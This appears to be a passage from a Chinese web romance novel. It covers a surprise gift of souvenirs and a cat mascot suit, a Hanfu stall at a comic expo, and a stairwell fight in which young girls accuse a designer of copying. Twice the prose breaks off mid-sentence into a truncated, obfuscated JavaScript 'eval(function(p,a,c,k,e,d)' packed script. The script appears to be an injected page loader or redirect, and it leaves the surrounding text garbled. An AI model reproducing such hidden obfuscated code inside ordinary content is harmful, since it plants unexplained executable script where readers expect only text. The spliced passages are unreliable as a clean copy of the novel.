“谢谢。”顾妙开心地接过那个硕大的礼品盒,顺手放在了沙发上,转身摸了摸橘猫的大脑壳,“重不重啊?赶紧摘下来吧。” 此刻小狼已经顺利登顶,蹲在橘猫脑袋上面俾睨众生。大橘猫不敢低头,支着脖子,用爪子急切地指了指礼盒,示意她快点打开。 顾妙无奈,只好先把礼盒打开。盒子是深蓝色的,里面用淡蓝色的玻璃纸垫着,东西塞得满满的什么都有,一部分是吃的,各种点心、大福、巧克力码得满满当当;另一部分是手办、手绢、钥匙扣、冰箱贴、手账本等小玩意,看起来精致又漂亮,琳琅满目,各种不同的包装纸在日光灯的照耀下blingbling地反着光。 “这么多东西?!太多了!”顾妙不知道说什么好,看一眼礼品盒,又看一眼大橘猫,脑袋转得活像一个跟随摄像头,又高兴又无措,语无伦次得不知道说什么好。 小狼在猫头上端坐如皇帝,大橘猫也不摘脑壳,指指盒子,做了个疑问的手势。 顾妙知道他问什么,开心地笑道:“喜欢,很喜欢,谢谢。” 然后大橘猫张开双臂,殷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“少嘚瑟了,我是被你玩偶服上的毛扎了眼。”顾妙眼睛红红的,脸上挂着笑意,口不对心地说,“干嘛给我买这么多东西啊,浪费……” “这些东西又不值钱,是个心意而已。怕买贵了你不要,我心里哆嗦着呢,不知道买什么好,就把看到好玩的东西都买一点带回来。”魏如栩笑嘻嘻地说,“不要有压力啊同学,下回你出去哪儿玩,我不介意你也带一盒子回来给我。” “休假出去玩?真是镜子里的烧饼,看得见吃不着!”顾妙调侃着,捏了捏魏如栩身上的玩偶服,“这从哪里弄的?” 魏如栩坐在沙发上,把小狼抱在怀里给他揉肚子:“没看出来这就是咱们狼的样子吗?前阵子我画了他的卡通形象去定做的。” “啧啧,厉害了,没看出来你这么父爱如山。”顾妙抱着玩偶脑壳揉来揉去,觉得手感好得不要不要的。 “其实呢,本来我是想去公司取车、回家,准备好了再穿上这套来给你个惊喜,谁知道在公司就遇见你了,惊喜就只好分两半了。”魏如栩有点懊丧,撸了撸头发,“可能这第二段就不够惊喜了。” 顾妙把下巴撑在玩偶脑壳上,笑得眼睛弯弯地看他:“可别,万一不知道你回来,看到这么个猫型人偶站在家门口,我第一反应可能是送你一记前踢。” 魏如栩夸张地捂住胸口:“看来还躲过一劫了呢。” “原本只是一个惊喜,现在变成了两个,岂不更好?”顾妙低低地说了一句,有点不好意思,把礼盒抱在膝盖上,再次打开,低着头爱不释手地看着那些小东西。 她没想到身边的这个人这么了解她,昂贵的礼物自然是不会收的,而且相比而言,她确实更喜欢这些小零碎。看着这些小东西,顾妙甚至能够想象到他走进每一家店、精心挑选后再买下它们的场景,每一幕都带着把人放在心尖上宠的心意,这比无价之宝还要贵重。 只可惜,她欣喜之余,又不知道该怎样回报他了。 魏如栩不知道她的内心活动,只是抱着猫,温柔地看着顾妙。 她垂下的睫毛随着目光的移动而微微颤动,像是两片在微风中舒展的花瓣,眼睛里似乎还残留着氤氲的水汽,透着欣喜和感动,目光流转中每一个闪光都深深映进魏如栩的心里,让他心跳加速,嘴巴发干,很想把她揉进怀里,紧紧抱着不撒手。 但他绝不会逼她,他甚至不敢试图做什么去解开她的心结。这样就太有目的性了,他不喜欢。 他可以在别的地方使心眼,用尽千张面具,但是在顾妙面前,他只想保留一颗诚挚的心,干干净净地捧给她,等着她有一天自己想明白,主动接过去。 “你喜欢就好。”魏如栩原本想说得很多,但突然又都堵在喉头,觉得说什么都没有意义。 他跑了那么多家店,想象着顾妙会喜欢什么,恨不得把看到的有趣的小玩意都买给她,为的就是看到眼前这样的一张笑脸。 按爱情戏的套路,接下来怎么也得热情相拥,激情相吻顺带一万字不可描述,可他们两个打着朋友的旗号,走了半部情侣的剧本,甜也甜了,各自小心脏也突突突了,OK,到此为止,停。 客厅的空气渐渐凝固下来,温馨也好、浪漫也罢,没有往高峰走,余韵就产生了些微的尴尬。 顾妙敏锐地感觉到了这一点,手都有点不知道往哪里放好了。魏如栩也有点别扭,把小狼往沙发上一放,站起来解玩偶服的拉链。 “这衣服够厚实的,降温了穿着它还捂一身汗。”玩偶服的爪子跟衣服是一体的,拉链在后背,魏如栩扒拉了几下,撕扯着衣领,拉链就是不往下走。 顾妙见状,赶紧起身去帮他。 “刚刚你是怎么穿上的?”顾妙不仅给他拉下拉链,更帮着他把玩偶服从肩膀上往下褪。玩偶服厚重,俩人一起使劲儿,谁也没在意门口的开门声。 魏如栩嘟哝着:“穿还好穿,衣服肥,先囫囵个拉上来,再往袖子里伸手。可是穿好就褪不出袖子了,唔,这拉链不够顺滑,得涂点蜡……” “哎呀!我长针眼了!”顾肖贱贱的声音从玄关传了过来,“你们都不避着人吗?还那什么……蜡?” 顾妙和魏如栩一头黑线,齐齐转头看他,吼道:“闭嘴!” 85. 第八十五章 出师未捷 顾肖敢拿他们打镲,自然脸皮厚得不怕挨骂。他这一回来,家里气氛陡然活跃了不少,顾妙和魏如栩刚刚那一点别别扭扭的状态也荡然无存。 见了顾妙的大礼盒,顾肖也哭着喊着要礼物。魏如栩只好回家,把他行李箱拉了过来,手里还多了个玩偶——做小狼玩偶装的时候顺便做了一个军装制服小狼玩偶,刚刚拿不了了才没带过来。 魏如栩甚至给小狼取了个英文名叫Wolfgang·Gu,严格来说Wolfgang是个德语名字,本意的是“前进的狼”。这高大上的名字就绣在玩偶制服的右胸上,显得洋气了不少。 “哇,我狼帅啊!”顾肖看着小狼玩偶感叹道,“就这一个吗?” “定做一个当然不合算,我家还有好多。”魏如栩一边扒拉行李箱一边说。 顾妙:“怎么想起来做这个?” “一开始就是随手画了张画,后来就想着能做出来看看样子也好,然后……”魏如栩摊了摊手,“一来二去就定制了一堆。你喜欢吗?” “当然喜欢啦!我狼这么可爱!”顾妙拿着玩偶爱不释手,逗着小狼玩,小狼似乎知道那个橘猫玩具就是他,伸着爪子不停拨拉,直接怼脸上踩奶。 对自己也能这么狠,是个狼人。 顾肖瞅瞅玩偶服,又看看小玩偶:“啧啧,你们会画画的就是好,那就说定了,老魏,将来我做AI,你来设计外观!” “叫爸爸,爸爸给你设计。” 顾肖:“……” 魏如栩带了一堆的药妆、面膜、孕妇用的护肤品回来,里面也有顾妙的份,满满一大包,沉甸甸地丢进她怀里。 “还给我?太多了!”顾妙实在不好意思了,连连推拒,“不能要了。” “拿着,这是员工福利。”魏如栩假模假式地绷了绷脸,语气当中很有点不容抗拒的意思,“刚刚那是身为朋友的心意,现在是来自老板的关爱。” 说罢,似乎为了证明自己是端碗艺术家,他提溜出来行李箱另一个大的自封袋,里面装了好多眼药水、膏药、药妆、眼贴:“还有这些小玩意,等回头你到公司看着给创意B组分一分,别人我也顾不了了,也就顾他们吧,算是我对他们于心有愧。” 顾肖一把抓过来那袋子掂了掂:“行啊,老魏,你这来自老板的关爱真是实打实的,别人可能带点吃的,你倒好,带的全都是劳保用品。” 顾妙:“……” 老弟,你可真会圈重点。行吧……你们男人的战争我不参与。 几个人蹲在地上,围着行李箱分东西,搞得很像是下一步就要各自拎着包挨个宿舍去推销。 分完货,顾肖收获满满,魏如栩提着空荡荡的箱子回了家,顾妙也心满意足地进了被窝。 魏如栩设计的玩偶装有个小心机,玩偶脑壳底端多一层短短的衬布,一圈都是拉链,能跟衣服脖颈上的拉链拉起来,再配上定制好的PP棉,把衣服里边的空间填满,就是一个真人等身的大型玩偶。现在这个“大狼”就安放在顾妙房间的飘窗一角,憨态可掬地守着她。 回顾着晚上的惊喜,顾妙内心的激动小小地返了个场,搞得她在床上烙饼似地翻来覆去睡不着。 饼烙了个全熟,再烙下去就焦了,顾妙一骨碌爬起来,到写字台上抱起魏如栩给她的大礼盒,坐回床上,就着床头灯昏黄的光,一个一个仔细翻看。 她忽然觉得自己有点像那不成器的万历皇帝,睡前必得把自己心心念念的财宝点一遍才能睡着。 折腾了许久,顾妙连那些小玩意的包装袋都没舍得拆,整整齐齐码回盒子里,最后抱着礼品盒睡着了。 一夜黑甜无梦,她鼻尖一直萦绕着那橘子糖般的甜味儿,幸福感就像一条绵软厚实的被子,把她紧紧包裹着。 第二天的值班没有再出现昨天那种几个部门合开会议的盛景,大家自己开自己的小会,显得非常安静。 顾妙中午的时候收到魏如栩的短信,知道他今天一天都要见朋友。果然这一天下来,他形同于失踪,晚上十点多才在戚滢滢拉的漫展群里露面。 顾肖和盛缘陪着戚滢滢把展台简单布置好,也是刚回到家,大家敲定好明天出发的时间,就纷纷告别各自睡去,为明天的战斗积蓄力量。 漫展算是个长假中颇为重要的活动,用了位于市中心的展览馆做活动场地。整个展览馆非常大,里里外外划分出了许多展区,每个展台都搭建得非常漂亮,把自己最大的特色展现出来,好能一下就能吸引游客的注意。 不过相比游戏、二次元等展区,汉服区并不大,而戚滢滢所属的汉服集市整体规模更小。毕竟这不是汉服主题展,这样倒也无可厚非。 饶是顾妙早就见过了她跟魏如栩妆后的合影,一早到了戚滢滢的展台那里看见他们两个的易拉宝,还是觉得有点羞耻。 主要是魏如栩太帅了,光芒夺目,她在旁边站着有点不像搭档,像个跟班。 “谁说的?你和小魏总郎才女貌,平分秋色,都好看着呢!帮我修图的朋友一直夸你们。”戚滢滢实实在在地安慰她。 魏如栩看到实物,也觉得戚滢滢说得有理,他怎么看都觉得顾妙好看,但当着下属的面,老板包袱有点重,不太好意思公开夸奖自己的女助理,所以也只是配合地点头。 盛缘也说:“可不是嘛,顾肖拿照片给我们同学看,大家也都说好看,尤其妙妙姐,英姿飒爽,特别酷。” “你们这些孩子,嘴真是甜。”顾妙被夸得有点不好意思,也不敢再矫情,要不就显得像是故意求夸奖似的。 但她别过头,似笑非笑地看了顾肖一眼。顾肖未经同意就把她照片拿给别人看,自知理亏,做贼心虚背过身去。 戚滢滢忙活着整理她那个小小的展台——说是展台,实际上就是个摊位,占地面积很小,也就三米见方的一小块地方。 像他们这样小打小闹的自然分配不到好的地理位置,周围也都是跟他们差不多规模的小摊位。一些有名气的、资产雄厚的牌子都在前边,位置更显眼,场地更大,甚至还有的搭起了舞台,请来网上小有名气的古风歌手准备演出。 不过这也没什么可眼红的,二八法则而已。戚滢滢租了这一天的场地就要贡献出三千大洋,赶她多半个月工资,但她觉得自己能抢得上名额,已经是万幸了。 展会很快就要开始了,大伙儿手脚麻利地开始把带来的东西布置起来。 顾妙他们四人的两个易拉宝一左一右,放在桌边,用以吸引过客的目光。桌面上则琳琅满目地摆了很多宣传卡、明信片以及戚滢滢亲手做的古风配饰、锦囊等小物件。 桌后面,戚滢滢家的几个人台全都给搬了过来,此刻她正在小心翼翼地把衣服往人台上套,这几套衣服不再是传统汉服,而是她设计的改良汉服。 戚滢滢的小店本来就以改良汉服为主,更贴近现实生活,利于销售,因此她今天穿的就是一身改良汉服,内搭一套黑色交领齐腰襦裙,外披一件深蓝色绣莲花纹、大袖衫样式的中长款外套。压箱底的飞鱼服和几件传统汉服是用来证明自己实力的,属于镇店之宝,是不卖的。 最后,魏如栩掏出两个穿着汉服的小狼玩偶放在桌上,令大家大吃一惊。 原来定制厂家是戚滢滢帮他联系的,所以戚滢滢早就知道他定制小狼玩偶的事。后来魏如栩想到这会儿的漫展,就让戚滢滢做了两件玩偶可以穿的汉服给小狼穿,带来漫展,同样可以起到宣传的作用。 毕竟天下万物,唯萌无敌。 东西收拾停当,四位模特又匆忙跑去洗手间换好衣服,回来互相帮忙化妆,戚滢滢穿梭其中给他们的妆容打补丁、做头发,终于在九点之前搞定所有事情。 “所以……”魏如栩穿着华丽的飞鱼服,肩背挺直,很不自然地活动了一下脖子,“我们今天主要干什么?站着?卖货?合影?” 顾妙跟魏如栩感觉一样,飞鱼服多少有点厚重,场馆里也有点闷,而且当模特也要有模特的觉悟,就是时时刻刻都要保持紧绷,其实还是很累的。 她看了眼顾肖和盛缘的大袖衫,这会儿有点羡慕他们,感觉那身衣服穿上更舒服一点。 “差不多吧,卖货在其次,主要是宣传。合影什么的看你们意愿,不想合影拒绝就好了。”戚滢滢这算是第一次公开亮相,看起来有点紧张,站在摊位前来回踱步,无意识地四下张望。 毕竟之前都在网上跟同好和买家沟通,遇到无理取闹的,最差不过拉黑,对方怎么说影响不到她。可现在是面对面交流,对方不用说话,就算是一个嫌弃的眼神都有可能粉碎她的玻璃心。 盛缘拉着戚滢滢的手,和风细雨地安慰:“别紧张,没事的。嫌货才是买货人。” “也并不全是……”戚滢滢望着陆续进来的人群,声音有点颤抖,“有些人不管买不买都会说难听话的。” 在盛缘的成长生涯中,大部分的业余时间都用来练琴,虽然她也有自己的爱豆,也看动漫,但从不混圈,自然也不太了解目前圈子里的一些不良风气。 另外两个,顾妙没时间,魏如栩没这个意识,对圈子的事情也是一无所知,自然不太明白为什么戚滢滢会紧张成这样。估计在他们几个人当中,唯一对此有所了解的可能就是顾肖了。 顾肖并不志在向她普及这些,所以也只是拉了拉她的袖子,同时对戚滢滢说:“反正来都来了,紧张也没用。你东西设计出来了,别人就有资格评判,与其担心他们说什么,不如调整好自己的心态。” 他在相熟的人面前向来都是以嘴贱为第一要务,性格也活泼,最擅长打圆场搞气氛,鲜少见他这么冷酷无情地说这样的话,尤其对一个本来性格就柔柔弱弱的女孩子。 但他说得又确实在理,所以顾妙几个人谁也没圣母圣父地暗示他说话注意点,毕竟事实就是事实,粉饰太平、掩耳盗铃才是自取灭亡。 只是顾妙有点担心戚滢滢当场哭给大家看,这一天战役还没打响,主帅先阵前自杀了可还搞什么搞。 “没事的,滢滢,我们大家都陪着你呢。”顾妙说,“好多人大放厥词也是因为在网上,顶着网络ID不露面,要真是面对面沟通,也没那么大胆子胡说八道。” 或许是上了一段时间的班,心理承受能力有所加强,戚滢滢并没哭,眼圈也没红,只是脸色更白了一点,努力挤出一点微笑:“嗯,我明白。” 一般人逛展会,都是先去热闹的地方,完事了才想着去饮食区吃吃喝喝补给一下,最后才会到集市上转一圈消食,所以早上漫展开始之后,集市这边人也并不多。 顾妙四人一开始非常忠于职守,也担心身上这套衣服坐皱了不太好,因此前两个小时他们连凳子边都不敢沾。 戚滢滢本来就紧张,又见他们一个赛一个站得跟柱子似的,自己也不敢坐,五个人杵在原地像五根棒槌。 魏如栩最近健身颇有成效,直挺挺站一个小时倒也没什么,顾妙本来底子也好,顾肖和盛然又都刚军训过,他们几个毫无压力,倒是戚滢滢最先受不了了,腰酸脚疼腿似乎还有点要抽筋,连连招呼顾妙他们快点坐下。 想象中门庭若市的盛景并没有出现,集市这边整个上午不过稀稀拉拉几个人,小猫两三只还都在别的摊位打转,戚滢滢的这个摊位基本没有人来,要不然就是有人经过,匆匆瞥了一两眼,或者对比较招眼的顾妙和魏如栩身上的飞鱼服议论几句,但大多数看到戚滢滢想跟他们搭话,就摆摆手离开了。 与之相比,他们摊位里满满当当坐了五个人,就显得有点可笑。 大家大眼瞪小眼,你看我我看你,听着隔壁展区吹拉弹唱,轰隆隆的音乐声此起彼伏,可想而知那边有多热闹。 顾肖听着听着心就有点痒痒,忍了又忍,忍无可忍,才低声跟顾妙说:“姐,我能去那边溜达一圈么?” 就这么屁大点儿地方,饶是他压低声音,也被戚滢滢听见了,她回头看着顾肖:“想去就去吧,都圈在这儿也没意思。” 顾妙迟疑地说:“这样不太好吧……” “这有什么,大家都守在这也没用。” 顾肖粘着头套,穿着一身汉服,活脱脱一个古装戏打扮,他低头看了看自己:“我要不换身衣服?” 魏如栩突然开口道:“不用,要不然你头套还摘吗?想出去玩正好,你和小缘都去,俩人带上一摞宣传单,谁要对你们身上穿的衣服感兴趣,顺便做个宣传。” 戚滢滢一听就乐了:“这个办法好!老板果然是老板!” 大家真是没做过销售,连这个意识都没有,现在才想起来这招,魏如栩觉得他们真的没脸跟人说自己是从事广告业的,于是他面对戚滢滢的夸奖,并无半分得意,反而在心里有点埋怨自己。 顾妙一眼就看出他心里在想什么,安慰地拍了拍他的手背,接着便道:“滢滢,不如你挑一套改良汉服给小缘换上,既然是宣传,还是要以你的核心产品为主。” 盛缘欣然同意,戚滢滢便给她找了一套乳白色交领上衣配宫墙红襦裙,上身外套一件同样是宫墙红、梅花纹的半臂,半臂较短,更显出了盛缘的纤纤细腰,再配上一双小红鞋,她整个人亭亭玉立,犹如飘落凡尘的仙子。 “这套真是好看!”顾肖上下打量着盛缘,嘴里毫不吝惜溢美之词,“气质显得更活泼了,就像个花仙子,你还真的什么款式的衣服都hold得住啊!” 顾妙无奈,自己这个向来狗嘴里吐不出象牙的弟弟,遇到喜欢的女孩子,还挺会夸人的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“亲爱的,渴了吧,快喝点水。”顾妙故意站在那姐姐和魏如栩中间,把他俩隔开,同时拿纸巾擦着他的额头,温声细语地问,“你看你弄得满头大汗,累不累?” 魏如栩确实有点累,心累,额头上的汗也不是假的,他举起瓶子喝了几口,故意用撒娇的语气说:“真是累啊,都快站不住了。” 旁边那姐姐看了,语调酸涩地调侃:“哟,女朋友吧?是不是有点吃味儿了?” 魏如栩不敢应,倒是顾妙大大方方转过身来看着她:“那倒不至于,就是心疼他累着了,您是不知道,我们在这儿站一上午了。” 见顾妙一副没否认的样子,魏如栩心中暗喜,抬起胳膊意意思思想揽在顾妙肩膀上,跟她做戏做全套,但转念一想,又觉得这么做似乎是在借机占便宜,遗憾地把胳膊收回去,可怜巴巴站在顾妙身后,用一副得了便宜卖乖的亲昵口吻说道:“我没事儿……” “得,累坏了帅哥我可落埋怨,就这样吧,你们忙。”那位姐姐自然明白他们什么意思,也见好就收,拿了早就打包好的小狼玩偶离开了摊位。 目送她远去、汇入人群之后,顾妙才不冷不热地看了魏如栩一眼:“啧,没想到你这么招人呀。” 魏如栩:“……” 半天就这么一个跟我合影的,这也怪我?天理呢? 不过顾妙又摇头晃脑地说:“倒也没办法,这是客观事实,谁让我也是你颜粉呢。” 前边戚滢滢还在热情招待每一个过来咨询的顾客,没工夫搭理他们俩。魏如栩便拉着顾妙坐在一边:“顾助理果然通情达理。” “那必须的。”顾妙看着他英俊帅气的面孔,想到他未来可能会遇见更适合的女孩,又是一阵别扭,自己把自己快捶疯了,不小心流露出一句酸过柠檬的话,“虽然不是你的原因,但走到哪儿都这么招人,心疼你将来女朋友一秒钟。” 话一出口,她就有点后悔,觉得自己好像是在欲擒故纵,实在有点婊。 她发现有时候不管你怎么小心翼翼,怎么努力让自己认清现实,心中的黑暗面还是会占上风,大约就是“道理我都懂”,但还是会不由自主说些阴阳怪气的话出来。 魏如栩并不以为意,他懒散地坐在椅子上,歪头看着她,笑吟吟地说:“有人对我宣誓主权就行了,像刚刚那样,人家不就立刻退散了吗?” 顾妙耳根发热:“……” 算你狠! 招待完刚刚的顾客,戚滢滢看了看时间,已经一点钟了,她回头看了看魏如栩和顾妙:“饿了吗?我去买吃的,给你们带回来。” 顾妙是打算自己去的,毕竟如果有人来咨询,她和魏如栩也不太会聊这方面的话题。一番自动请缨之后,戚滢滢有点不好意思:“……其实我也想到外边去逛逛,看看那几个大品牌的展台,放心,我很快就回来。” 她都这么说了,顾妙也就不好再拦她。待戚滢滢走后,顾妙再次在手机里呼唤顾肖:【你这死孩子,到底去哪了?】 这回顾肖倒是回得很快:【外边吵,没听见手机响。我俩再转转就回去了,要带什么吃的吗?】 顾妙:【不用,滢滢去买了。】 顾肖:【刚刚我们介绍了几个感兴趣的买家过去,你们接收到了吗?】 顾妙:【还行,传单发出去多少?】 等了好半天,顾肖都没有回复,顾妙也无可奈何,她看看坐在一边刷手机的魏如栩,忽然想到什么,打开微博,搜了一下“附近的人”,果然就看见刚刚那个姐姐和魏如栩的合影。 照片是精心挑选并且美颜过后的九宫格,磨皮后的魏如栩更是眉目如画,比电影明星还要帅。 顾妙盯着照片吃吃地笑了会儿,把手机递给魏如栩:“喏,老板,我觉着你可以出道了。” 魏如栩接过手机一看,微博内容写着“跟小帅哥合影,这应该是我见过最帅的古风少年”,之后还跟了两个话题,一个是#最适合古装的美少年#,一个是#漫展最靓的仔#,接下来一堆评论都是在问这是漫展哪个摊位,网友们纷纷表示要过来参观打卡。 饶是小魏总见多识广,想想一群女孩围过来的样子,也吓得有点腿软,毕竟上次公司女员工们对他献爱心的场景还历历在目。 “怎么办?”他把手机还给顾妙,忧心忡忡地问,“现在逃跑还来得及吗?” “跑啥跑?”顾妙忍俊不禁,“准备好接客吧!” 她滑动着图片,想着再仔细看看她小魏总的盛世美颜,突然顾肖一个电话打了过来。 顾妙接起来:“喂,你……” “姐!出事了!”顾肖气喘吁吁地说,“戚滢滢被打了!” 86. 第八十六章 组团作战 按照顾肖的说法,他和盛缘远远看到戚滢滢在汉服展区转悠,便远远冲她挥手。只不过戚滢滢没看到他们,正跟几个同样穿着汉服的女孩子说话。 那几个女孩子个子矮矮的,看上去年纪都不大,几个人一言不合,突然就伸手去撕扯戚滢滢身上的衣服,大有泼妇闹街之势。 顾肖和盛缘目睹这场景,吓了一跳,顿时想要冲过去帮她。谁知戚滢滢并不知道援军在路上,她被面前的几个女孩子吓坏了,拼命挣扎了几下,挣脱了她们的“魔爪”,不顾一切夺路而逃。 漫展里到处都是人,外加各种展台令人眼花缭乱,戚滢滢这一汇入人群,顾肖和盛缘离她太远,顿时就找不到目标了,只能冲着刚刚起冲突的方向追过去,在追逐的过程中着急忙慌地给顾妙打了个电话汇报情况。 顾妙一听也有点诧异,怎么也想不到漫展上居然还有此等暴力冲突,她简单地跟魏如栩描述了一下,俩人拜托旁边摊位的小姐姐们帮忙照看,立刻就冲出去找人。 按照顾肖的推测,戚滢滢他们应该是往东二门方向去了。于是顾妙和魏如栩径直往东边跑。他俩穿的飞鱼服实在有点招眼,再加上俩人表情紧张,一边跑一边四下张望,简直就是自带背景故事,一冲进主展区,顿时就吸引了很多人的注意,纷纷向他们举起手机。 “哟,这是穿越的,还是来拍戏的?” “哇塞,这男的好帅!还有别人吗?是不是快闪?” “俩人都好看!快,快拍下来!” 顾妙看着满眼的人,顿时觉得大脑发晕,抓着旁边一个小姐姐问道:“有没有看到一群打架的女孩子?” 那小姐姐怔怔地看了她一眼,摇摇头:“没……没有。” 顾妙松开她,言简意赅地扔下一句“不好意思”,跟着魏如栩继续往东二门方向跑去。 一群人望着他们的身影,诧异地张大了嘴巴:“不会真是穿越吧?” 魏如栩腿长跑得快,一边跑还一边回头看顾妙,生怕她掉队,有点想伸手去拉她。但好在顾小妙也是个练家子,一路紧紧跟着魏如栩,绝不拖后腿。 两人一边跑一边眼观六路耳听八方,突然间魏如栩停住脚,拦住顾妙:“等下,好像有吵架的声音。” 展厅里音乐声十分喧闹,顾妙完全没听出来,只见魏如栩皱着眉,耐心听了几秒钟,指向一个方向:“在那边!” 顾妙信任魏如栩的听力,毫无异议地跟他走,两人径直冲向消防通道,在门口就听见了吵闹声。 魏如栩跟顾妙说了句“告诉顾肖”,同时推开了消防通道的大门,便看到了几个身穿汉服、身材矮小的女孩子围着戚滢滢,几个人面红耳赤,正在推推搡搡。戚滢滢被几人围攻,显然受了莫大的惊吓,脸上全是泪痕。 她们吵架的声音被空荡荡的通道放大了N倍,一个女孩子尖利的声音如锥子一般钻进了两人的耳膜:“把她的衣服全扒了!” 剩下的女孩得令,有的抓着戚滢滢的头发,有的抓着她的双手,有人开始撕扯扯她的衣服。 戚滢滢寡不敌众,就像峨眉山上被猴子围攻的游客,毫无还手之力,只能哭哭啼啼地争辩,做无谓的挣扎:“真的不是,我说过了……这是我自己设计的……” 只听“刺啦”一声布帛碎裂声,顾妙不由地打了个冷战,鸡皮疙瘩起了厚厚一层。 这群小丫头片子居然真敢撕! “你们干什么?快住手!”魏如栩大喝一声,声音在通道里层层回响,显得颇有震撼力,“放开她!” 鉴于面前的全都是女孩子,他不便出手,顾妙用不着他吩咐,径直两步跨过去,也不用使什么功夫,一手一下,揪着那些女孩后颈的领子把她们从戚滢滢身上扯了下来,身手麻利地把戚滢滢从人群中刨了出来。 戚滢滢泣不成声,浑身颤抖:“妙妙姐……” 带头的女孩大叫道:“他们一定是帮手!这飞鱼服一定也是抄来的!不能放过他们!” 魏如栩:“……” 这群小姑娘是真不把他们几个大人放在眼里么? 此刻魏如栩已经看清了这些女孩子,一眼扫过去都是稚嫩得如同青葱一般的小脸,有两个个子窜得快的虽然跟戚滢滢差不多高,充其量也就是初中生,有两个更小的貌似是小学生,统一都穿着齐胸襦裙,看起来娇娇弱弱,不亲眼见,完全不信她们打起架来手法这么娴熟。 带头的那个女孩也不过一米六出头的样子,长得倒是眉清目秀,只是此刻凶相毕露地指挥战斗,显得面目狰狞。 在带头“大姐”的号召下,几个被击退的女孩再次一拥而上,兵分两路,两个大点儿的冲向顾妙,两个则奔着已经缩到了墙角的戚滢滢而去,一个个目露凶光,不知道的还以为戚滢滢挖了她们所有人家的祖坟。 顾妙饶是有功夫,也不能对着几个小丫头使,她只能把她们拨拉来拨拉去,试图脱身。可不敢动粗,就不能消灭她们的有生力量,于是三人陷入缠斗之中。 魏如栩见顾妙招架得住,赶紧去搭救戚滢滢,面对两个幼稚却战斗力惊人的女孩,他只能以恐吓为主,动手为辅。 “快放开她!不然我叫保安了!” 魏如栩尝试着去拉一个女孩的胳膊,对方不仅狠狠甩开他,还顺势在他手背上狠狠抓了一把,留下了三条血印,另一个则回头给了他一个恶狠狠的瞪视,仿佛他才是什么十恶不赦之徒似的。 戚滢滢已经怕得成了一只虾米,她头发凌乱,身上的衣料被搅得乱七八糟,两股战战,勉强还能靠墙站着,但已经没什么力气去挣扎了。 “你们疯了吗?这是干什么?!”顾妙惊讶于这些小小身躯蕴含的力量,觉得不动粗是不行了,于是三下五除二,两手各反剪了两个小姑娘的胳膊,别到她们身后,“你们跟戚滢滢有什么深仇大恨吗?” 两个小姑娘不幸被制,胳膊吃痛,立刻原地变成木头人,又哭又闹地尖叫起来。 “啊啊啊啊!疼死我了!你放手!” “放开我!你个恶毒的女人!” 顾妙一听乐了,知道她们怕疼,更稍稍用了一点力,好让她们吃点苦头,免得俩人造次:“恶毒的女人?这是从哪个电视剧里抄来的台词?” 带头“大姐”一直在旁边指挥战斗,“机智”地并没有参战,她冲顾妙吼道:“这个女的不要脸,她穿山!她既然敢穿出来就知道一定会有这种下场!你们跟她混在一起,也不是什么好东西!” 顾妙一脸茫然地跟魏如栩面面相觑,两人感觉自己踏入了一个陌生的圈子,听着像是中国话,可到底什么意思呢? “穿山是什么?跟穿山甲有关系吗?”魏如栩向来聪明的面孔一脸空白,回头看见戚滢滢仍被围攻,实在没办法了,只好也学顾妙反剪两个女孩的手,怒道,“跟你们说够了,听见没有?!什么事非得动手?!” 只可惜他担心自己用力过猛,怕扭伤两人纤细的胳膊,因此也没怎么使劲,被那两个年纪小、骨头软的女孩子轻易挣脱。 这俩女孩无比默契,放弃了戚滢滢,转身一起使劲推了魏如栩的胃部一把,其中一个女孩大声道:“这点常识都没有,还好意思穿出来满大街溜达?!” 魏如栩没料到会被她们反击,诧异地后退了几步,怔怔地看着她们,似乎不敢相信刚刚发生了什么。 顾妙:“……” 小魏总今天跌份跌大发了。 然而顾妙手里那两个年龄稍显大的女孩见她走神,也顺势转了个身,把关节角度扭转过来,立刻就脱了身。她俩一人拉顾妙一只胳膊,反而把她推到墙上,对带头的女孩喊:“小玲姐,这件一定也是山寨货,也把她给扒了吧!” 那小玲姐见顾妙被制服,得意洋洋冲过去:“不给你们点颜色尝尝,你们这帮人就意识不到错误!” 顾妙本来没把这俩孩子放在眼里,猛地挣扎,却发现哎哟我去,要翻车! 小玲姐得意地笑着,向顾妙伸出她的魔爪,眼看那小手已经伸到顾妙的领子前面,突然一只大手抓住了她的手腕。 “真是敬酒不吃吃罚酒!”魏如栩脸色铁青,“什么样的家长教出你们这种孩子?穿不穿山的我不懂,但你们知道动手打人是不对的吗?” “穿山就是不要脸!穿山狗人人喊打!”小玲姐不甘示弱,即便被魏如栩钳住了手腕,仍旧像只被掐住了脖子的猫一样,乱抓乱挠,冲堵着戚滢滢的两个女孩下达命令,“别管我,这男的不敢对我怎么样,你们快把她给撕了!” “……”魏如栩一脑门青筋暴跳,这女娃子倒是一眼看清了事情的本质。 “我没有穿山!这是我自己设计的!”戚滢滢一边嚎啕大哭一边喊,“我没穿山!我才不会穿山!” “你撒谎!臭不要脸的撒谎精!”没有魏如栩拦着,两个女孩更加肆无忌惮地抓戚滢滢的头发,揪她的衣服,估计也是因为力气不够,所以并没有再撕破什么。 旁边顾妙看得气不打一处来,一边挣扎着试图摆脱缠在她身上的两个活猴子,一边冲戚滢滢喊:“你没穿山怂什么?!这么大个人了被两个小学生压着打?快站起来!” 也不知道怎么的,戚滢滢简直就像被夺了舍,除了为自己辩解两句车轱辘话之外,就是缩在墙角瑟瑟发抖,任人打骂似的。 “咣”地一声,消防通道的门被人撞开了,顾肖和盛缘这才赶了过来,看到眼前的“盛况”,俩人吓了一跳。 顾肖:“woc!什么情况?” 顾妙顿时把火撒了顾肖满头满脸:“怎么才来?!” 盛缘看到拉住顾妙的两个女孩,也吃了一惊:“默默?小婧?” 默默和小婧眼睛望过来,顿时有点怂,松开顾妙,齐声喊道:“盛老师,顾老师……” 